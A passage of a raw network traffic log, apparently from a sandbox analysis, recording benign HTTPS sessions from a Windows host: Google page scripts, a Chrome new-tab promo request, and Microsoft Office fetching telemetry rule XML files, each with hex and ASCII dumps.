2024-11-15 08:55:25 UTC	1378	IN	Data Raw: 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d Data Ascii: index\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-
2024-11-15 08:55:25 UTC	1378	IN	Data Raw: 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d Data Ascii: ,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -
2024-11-15 08:55:25 UTC	1378	IN	Data Raw: 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 31 33 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c Data Ascii: 1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700313,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_val
2024-11-15 08:55:25 UTC	1378	IN	Data Raw: 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 Data Ascii: ;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")
2024-11-15 08:55:25 UTC	1378	IN	Data Raw: 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c Data Ascii: (b?b.createScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else throw Error(\"F\");else a\
2024-11-15 08:55:25 UTC	1378	IN	Data Raw: 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 Data Ascii: c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.pe\u003df
2024-11-15 08:55:25 UTC	1378	IN	Data Raw: 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 66 2e 69 74 65 6d 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 75 6e 63 74 69 6f 6e 5c 22 3f 5f 2e 4a 64 28 66 29 3a 66 2c 64 29 7d 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 5f 2e 72 65 28 64 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 Data Ascii: u003d\"number\"\u0026\u0026typeof f.item\u003d\u003d\"function\"?_.Jd(f):f,d)}};\n_.ue\u003dfunction(a){return _.re(document,a)};_.re\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLower

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:25 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:25 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:25 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 454072ce-501e-008f-35f0-359054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085525Z-1866b5c5fbbzzh8chC1DFWdrc400000000tg0000000023au x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 08:55:25 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:25 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:25 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085525Z-1866b5c5fbbsqznnhC1DFWg28g000000017g000000008c9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:25 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	49783	142.250.186.164	443	7880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:25 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-15 08:55:25 UTC	933	IN	HTTP/1.1 200 OK Version: 695623535 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 15 Nov 2024 08:55:25 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-15 08:55:25 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-15 08:55:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:25 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:25 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: d4c521ce-601e-000d-6da3-342618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085525Z-164f84587bf7mjf5hC1DFWvyqc00000000yg000000007w82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:25 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:25 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:25 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:25 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 682504c0-001e-005a-75d2-2cc3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085525Z-16547b76f7ftdm8dhC1DFWs13g0000000mxg0000000043g4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:25 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:26 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:26 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:26 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 87e60a3d-901e-0067-3833-36b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085526Z-1866b5c5fbbkcpv2hC1DFWf1yc000000010000000000bq68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 08:55:26 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:26 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:26 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:26 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: a14a0ed7-201e-0096-78aa-31ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085526Z-16547b76f7ftdm8dhC1DFWs13g0000000mz0000000001kry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:26 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:26 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:26 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:26 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: ae8c5328-c01e-0034-77cb-362af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085526Z-164f84587bfbvgrghC1DFWbs7w000000011g000000001vf9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
